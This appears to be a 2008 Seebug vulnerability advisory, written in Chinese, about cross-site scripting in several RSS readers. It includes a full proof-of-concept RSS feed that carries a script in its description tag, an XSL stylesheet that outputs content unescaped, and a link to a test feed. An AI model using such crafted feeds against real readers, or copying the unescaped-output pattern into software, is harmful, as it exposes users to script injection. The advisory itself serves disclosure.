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多款RSS阅读器出现XSS漏洞

🗓️ 27 Sep 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 44 Views

RSS feeders vulnerable to XSS via HTML encoding in description ta

Code

                                                在<description>标签的内容中输入HTML编码后的JS代码,例如:

<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='kxlzx.xsl' type='text/xsl' ?>   
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"   
    xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/"   
    xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"   
    version="2.0">   
    <channel>   
        <update>Mon, 26 Oct 2008 10:36:52 +0800</update>   
        <title>hacked by kxlzx</title>   
        <description>hacked by kxlzx</description>   
        <item>   
        <title>hacked by kxlzx title</title>   
        <author xmlns="http://www.w3.org/2005/Atom">   
            <name>test all</name>   
        </author>   
        <id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id>   
        <description><script>alert('xss');</script></description>   
        <pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate>   
        </item>   
    </channel>   
</rss>   
====
<?xml version="1.0" encoding="UTF-8"?>   
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">   
    <xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/>   
    <xsl:variable name="title" select="/rss/channel/title"/>   
    <xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref='self']/@href" xmlns:atom="http://www.w3.org/2005/Atom"/>   
    <xsl:variable name="srclink" select="/rss/channel/link"/>   
    <xsl:template match="/">   
        <html>   
            <head>   
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>   
            </head>   
            <xsl:apply-templates select="rss/channel"/>   
        </html>   
    </xsl:template>   
    <xsl:template match="channel">   
        <body>   
                
<div id="wrapper">   
<div id="content">   
<xsl:apply-templates select="image"/>   
<h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1>   
                 
    <p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p>   
   
<ul id="item" class="item">   
<xsl:apply-templates select="item"/>   
</ul>   
</div>              
</div>   
   
</body>   
    </xsl:template>   
    <xsl:template match="item">   
                    
        <li>   
<h2><a href="{link}"><xsl:value-of select="title"/></a></h2>   
<span class="date"> <xsl:value-of select="pubDate"/></span>   
                
    <p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p>   
   
 <xsl:if test="count(child::enclosure)=1">   
                <dd>   
                    <a href="{enclosure/@url}">   
                        <img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/>   
                    </a>   
                </dd>   
            </xsl:if>   
   
</li>   
            
    </xsl:template>   
    <xsl:template match="image">   
        <xsl:element name="img" namespace="http://www.w3.org/1999/xhtml">   
            <xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute>   
            <xsl:attribute name="alt">   
                Link to <xsl:value-of select="title"/></xsl:attribute>   
            <xsl:attribute name="id">feedimage</xsl:attribute>   
        </xsl:element>   
        <xsl:text> </xsl:text>   
    </xsl:template>   
    <xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0">   
        <p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml">   
            <em>A message from the feed publisher:</em>   
            <xsl:text> </xsl:text>   
            <xsl:apply-templates/>   
        </p>   
    </xsl:template>   
    <xsl:template name="outputContent">   
        <xsl:choose>   
            <xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml">   
                <xsl:copy-of select="xhtml:body/*"/>   
            </xsl:when>   
            <xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml">   
                <xsl:copy-of select="xhtml:div"/>   
            </xsl:when>   
            <xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/">   
                <xsl:value-of select="content:encoded" disable-output-escaping="yes"/>   
            </xsl:when>   
            <xsl:when test="description">   
                <xsl:value-of select="description" disable-output-escaping="yes"/>   
            </xsl:when>   
        </xsl:choose>   
    </xsl:template>   
</xsl:stylesheet>   


===
http://www.inbreak.net/kxlzxtest/rss8.xml
                              

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27 Sep 2008 00:00Current
7.1High risk
Vulners AI Score7.1
44